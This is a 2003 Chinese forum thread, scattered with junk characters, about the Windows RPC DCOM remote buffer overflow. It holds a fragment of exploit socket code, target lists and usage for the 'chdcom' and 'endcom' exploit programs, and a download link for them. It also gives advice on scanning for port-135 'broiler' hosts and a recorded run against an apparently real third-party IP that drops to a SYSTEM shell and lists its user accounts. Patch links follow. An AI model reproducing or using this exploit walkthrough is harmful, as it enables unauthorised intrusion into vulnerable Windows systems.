return;, L0 f! c6 r5 R$ `" r( g }: h1 I# x, b$ z# e: a $ P# @: ?5 V) t, U! {len=recv(sock,buf1,1000,NULL); / a% z1 E% n$ B. n% Q/ P. gif (send(sock,buf2,len1,0)==SOCKET_ERROR) ( U9 H7 d" F) e7 k- v5 w/ a. k{, } |2 X, ?* l8 W. h% L printf("Send failed.Error:%d\n",WSAGetLastError()); ?7 r% Q' g' Q: n7 U- ?return; ( y m" G$ C, k, q b# g6 Q% s, e}3 p0 q5 C, Z, h0 o len=recv(sock,buf1,1024,NULL); e8 V# b' V6 n! N+ [} 0 S/ Q. Y9 N/ o- n. M' D& U2 g/ k1 G. b7 p; _6 [ 补丁机理:( b$ Y6 S8 c m+ D. l& a3 _6 W 补丁把远程和本地的溢出都补了,呵呵,这个这么有名的东西,我也懒得多说了。1 N; g5 u" t$ m # w) P% k" ^# y" Z2 k补记: ! m' f3 m+ f$ x( E4 j3 \9 [由于缺乏更多的技术细节,搞这个从上星期五到现在终于才搞定,惭愧,不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久,怎么也无法远程进入这个函数,最后偶然的一次,让我错误的看花了眼,再远程调用的时候,以为GETSERVERPATH是存在本地溢出的GetPathForServer函数,,心中以为远程进入了GetPathForServer函数,仔细的跟踪,这才发现问题所在。感谢所有关心和指导我的同志们。
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    2015-1-16 14:36
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    [LV.2]偶尔看看I

    2
     楼主| 发表于 2003-8-9 22:41:00 | 显示全部楼层
    攻击:XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序+ v$ Z- a ^8 ` H: z$ u- b) w chdcom针对以下版本: % d T$ @, u+ e; y- 0 Windows xp SP1 (cn), i' Y$ a6 z& I. U7 ~' O1 t - 1 Windows 2000 SP3 (cn)' y+ X3 ^7 _" e0 o - 2 Windows 2000 SP4 (cn) ! r; Y. _) A6 @5 L- Q2 U" D* `* z- 3 Windows 2000 SP3 (english) / j: m/ Q+ v3 U. u; u5 T- 4 Windows 2000 SP4 (english)" ~6 y+ @5 u; c; [6 } - 5 Windows XP SP0 (english); z; w! C% x5 x( Y( z1 D0 D - 6 Windows XP SP1 (english)2 S7 T7 o# C4 V! c+ V" x" [ Usage: chdcom 2 Q! F$ [1 F4 {4 p D cedcom针对以下版本: . x( Q! ~) p" [- 0 Windows 2000 SP0 (english)- l% n0 v5 Y+ j3 \' K5 g - 1 Windows 2000 SP1 (english)% ^0 m% U! o5 @ - 2 Windows 2000 SP2 (english); k% ?; ?% A, e; @ - 3 Windows 2000 SP3 (english) 0 P3 f( G- {4 a% S$ \$ |- 4 Windows 2000 SP4 (english) ) R/ z, l8 c4 A1 ` C- 5 Windows XP SP0 (english)7 A4 h6 @% e4 ?5 Y) t) d* D9 Q* Q - 6 Windows XP SP1 (english)0 p/ Q+ g* t. Q7 z5 Y+ Y" |) ]3 d Usage: endcom / X2 r8 {9 l$ i4 B1 ~: xcygwin1.dll应用程序扩展5 f1 Q6 z3 ]7 V5 y- q; K& _- f 溢出目标IP前.先用扫描器扫描开135端口的肉机.! ~# {$ {( Y1 Z: W3 N5 j- a 我已经测试近百台主机,当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS(也就是说明益处成功)为%70左右, 6 |- v6 {' Z5 v 6 S8 B, ^ i7 i: ~- H比如说目标69.X.173.63开了135端口.Target ID是4 4 G# [$ ]0 R- GC:\dcom>chdcom 4 69.X.173.638 [. \& ?( k9 i- Z! |8 a" e --------------------------------------------------------- $ p- s6 I' L: T5 d6 U6 |- Remote DCOM RPC Buffer Overflow Exploit % p% i6 | ]1 f7 F% {! n8 U- Original code by FlashSky and Benjurry 2 R( [4 t, f" k" L1 p' U7 Y" b- Rewritten by HDM last 5 |4 F6 d& K7 F! c5 _- last by nic & ~9 [/ H& B* G8 G1 a7 d -Compiled and recorrected by pingker! 9 E; C1 m x+ A( c# g- Using return address of 0x77f92a9b% F/ A. [# t& s4 G+ z9 ^3 O - Dropping to System Shell...; q" S$ b1 l+ ~+ m / Y. w h) x: S Microsoft Windows 2000 [Version 5.00.2195] ' M' `5 y$ f) \(C) Copyright 1985-2000 Microsoft Corp. - b( K& W) K! b' Y n! }% W- V6 E% `" FC:\WINNT\system32> . y/ B+ V7 `) P, z! ^2 E( o成功溢出. C7 k9 G4 ]3 t. m* WC:\WINNT\system32>net user5 e- ? N! U9 U net user* a; h+ |0 F0 [$ W! `, O # @0 b: Y! Y2 H, L- J' }0 CUser accounts for \$ B7 O$ ?7 r3 @* l, V0 X8 I ---------------------------------------------------------------------------- 4 s r, j) T6 F$ Y" F) p# y# D0 C$ d4 `---4 F/ f3 w3 t" e4 J. W$ n1 b, J0 u Administrator ASPNET billbishopcom ?- _" o; J# c divyanshu ebuyjunction edynamic12 X D& Q7 ~ q1 ^ edynamic2 Guest infinityaspnet # M! z+ a# U U7 Q& ginfinityinformations IUSR_DIALTONE IUSR_NS1! C, [& ~5 b j- j IWAM_DIALTONE IWAM_NS1 SQLDebugger$ e( ]0 n- C& \3 o" @+ r4 W+ z TsInternetUser WO ) P5 I# T! _" O7 \- cThe command completed with one or more errors. 1 i! ~ H9 e! a! S: _- U& p这样一来你想干什么就是你的事了., ^% D7 P6 x, v8 `2 r 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 + V6 S p2 [7 {5 i: N9 F重启才行. CN可以是繁体或简体中文颁本. ! ~% Z1 e, {: e再次警告:不要对付国内主机!!!!!后果自负!!!! ( ?% m: n2 b6 D. D+ _& M$ K2 @% fXDcom.rar远程溢出攻击程序下载:/ w$ Q/ w1 g4 `% E; F+ T. y http://www.cnse8.com/opensoft.asp?soft_id=206&url=3
  • TA的每日心情
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    2015-1-16 14:36
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     楼主| 发表于 2003-8-9 22:52:00 | 显示全部楼层
    补丁:1 S6 Z. T$ ]0 e$ o7 X/ w' }
    Windows NT 4.0 Server :
    + R$ P) B% O8 Z) ]
    9 A7 F" g& D* C/ _- Bhttp://microsoft.com/downloads/d ... &displaylang=en
    + J: b$ o0 P: G. d$ t9 K# |& [) E- G$ j2 n+ W4 r" X
    Windows NT 4.0 Terminal Server Edition:
    2 N9 E  }. R% l1 i. B  }8 a; ]1 p  V
    http://microsoft.com/downloads/d ... &displaylang=en
    ' b+ K5 f4 ~7 ]9 e: Q
    , ~! A+ ]5 O+ l& ]' N9 WWindows 2000:
    & `  J) Q; q* v1 m  f9 ?" B$ t
    & A: N4 P6 J4 g3 L# l# w. J0 @http://microsoft.com/downloads/d ... &displaylang=en) q1 b: N% P' U5 K
    (中文)http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117$ M8 \; `9 ~, t$ N9 E' N6 ]2 a

    + W7 i: J+ ^& R5 A/ KWindows XP 32 bit Edition :& S( P. Z% h; S- `: \/ |* B! ^5 [: B

    1 e2 Z, K: z& q7 ihttp://microsoft.com/downloads/d ... &displaylang=en  S! I- s! n0 Q/ {
    & |( {; L1 |3 O: T# J; G
    Windows XP 64 bit Edition:
    $ q: j8 z& o$ w0 g- t5 U
    # f8 i5 ]; T. u2 e) L% q* phttp://microsoft.com/downloads/d ... &displaylang=en5 k0 h; B% V1 `4 L7 V# t+ ~

    " r: B6 H) ~) Q& nWindows Server 2003 32 bit Edition:
    % z8 B/ _! Y) _" a: R* G- I' g7 B" p! P( e
    http://microsoft.com/downloads/d ... &displaylang=en# Y$ o/ m2 _$ T% K0 G
    " {6 @# B6 S9 C8 Y( t& P/ g
    Windows Server 2003 64 bit Edition:
    9 E* B4 L' L; D# @0 c" @
    ' E4 P" c, {2 d& xhttp://microsoft.com/downloads/d ... &displaylang=en
    : [; S5 E+ P# N. ^/ m$ L! F. ^
    7 L' y* n. j7 k' t; M1 _
    8 _0 G. d1 Y/ |4 b& f3 n
    . d) _6 L$ Y- G+ H1 ?; ~' }2 N$ P
    $ a+ s& D  F. F% o
    [此贴子已经被作者于2003-8-9 23:05:32编辑过]
    $ n. f1 R9 \( v/ o  I; T% X4 q
  • TA的每日心情
    无聊
    2015-1-16 14:36
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    4
     楼主| 发表于 2003-8-10 21:25:00 | 显示全部楼层
    上述那段捆绑了SHELL CODE的C代码还不完整,没有处理返回的数据,因此VC下编译后的程序执行后没有反应,大家如果有兴趣研究的话,可以补充完整(俺工作太忙,没有太多的时间去补充,Hoho,不要成为只会使用工具的“伪黑客”,说白了,只会使用工具的人都是菜鸟,网络原理都弄不清楚,还搞什么攻击,KAO)。

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